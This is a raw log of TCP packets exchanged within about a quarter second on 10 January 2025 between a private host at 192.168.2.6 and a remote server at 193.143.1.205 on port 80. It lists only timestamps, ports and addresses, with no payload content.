Jan 10, 2025 23:33:10.645009041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.645020008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.645031929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.645044088 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.645045996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.645059109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.645067930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.645072937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.645091057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.645827055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.645879984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.645940065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.645952940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.645963907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.645981073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.646042109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.646053076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.646076918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.646285057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.646297932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.647090912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.647102118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.647120953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.647130013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.647130966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.647159100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.881880045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.881896019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.881917953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.881930113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.881944895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.881956100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.881968021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.881973028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.881987095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.881999016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882009983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882023096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882035971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882040977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882054090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882067919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882078886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882082939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882103920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882114887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882123947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882134914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882144928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882148981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882169008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882260084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882272005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882283926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882296085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882297039 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882308006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882319927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882324934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882333040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882340908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882373095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882409096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882421017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882431984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882441998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882453918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882466078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882467031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882477999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882488966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882494926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882503033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882518053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882535934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882539988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882548094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882559061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882575035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882596970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882673025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882684946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882695913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882709026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882719994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882731915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882733107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882745028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882757902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882761955 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882771969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882781029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882797003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882849932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882884026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882886887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882895947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882905960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882930994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.882934093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.882970095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.886996984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887012005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887023926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887034893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887063980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887089014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887090921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887100935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887120962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887125969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887131929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887142897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887154102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887164116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887190104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887221098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887232065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887243986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887259007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887263060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887274981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887285948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887285948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887300014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887319088 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887327909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887622118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887660027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887672901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887686014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887696028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887721062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887722015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887732983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887764931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887767076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887775898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887805939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887809038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887816906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887828112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887849092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.887861013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887878895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.887901068 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.888219118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888254881 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.888256073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888267994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888279915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888299942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.888300896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888312101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888333082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.888344049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888355017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888379097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.888379097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888408899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.888431072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888442993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888453007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888473988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.888501883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888514042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888524055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888535976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888536930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.888561964 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.888981104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.888994932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889005899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889017105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.889019966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889033079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889043093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.889067888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.889123917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889134884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889146090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889167070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.889168024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889179945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889189959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889199972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.889202118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889225960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.889290094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889302015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889312029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889322042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.889322042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889336109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889348030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889348030 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.889359951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889359951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.889370918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889391899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.889920950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889933109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889945030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.889957905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.889981985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.889993906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890005112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890016079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890028000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890037060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.890041113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890063047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.890100002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890111923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890125036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890131950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.890145063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890156984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890163898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.890170097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890182018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890189886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.890193939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890218973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.890682936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890695095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890706062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890722990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.890722036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890734911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890743971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.890747070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890772104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.890924931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890937090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890947104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890958071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890958071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.890970945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.890986919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.890990973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891004086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891011000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891016960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891028881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891037941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891040087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891052961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891062021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891063929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891077042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891084909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891092062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891113043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891578913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891616106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891618967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891628027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891647100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891658068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891659975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891670942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891691923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891705990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891719103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891730070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891738892 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891747952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891765118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891781092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891817093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891882896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891894102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891905069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891916990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891928911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891940117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891946077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891946077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891952038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.891978979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.891993046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892004967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892028093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.892499924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892530918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892539024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.892543077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892556906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892575026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892575979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.892606020 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.892612934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892625093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892654896 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.892673969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892684937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892695904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892715931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.892724991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892735958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.892760992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.893162012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893173933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893184900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893198013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.893224955 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.893300056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893318892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893330097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893341064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893352985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893363953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.893372059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893384933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893393040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.893395901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893409967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.893416882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893435001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893435955 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.893451929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893465996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893481970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.893497944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893508911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893520117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893532991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893548012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.893738031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.893758059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894037962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894049883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894062042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894073009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894074917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894114017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:33:10.894119024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894129992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 23:33:10.894141912 CET	80	49709	193.143.1.205	192.168.2.6
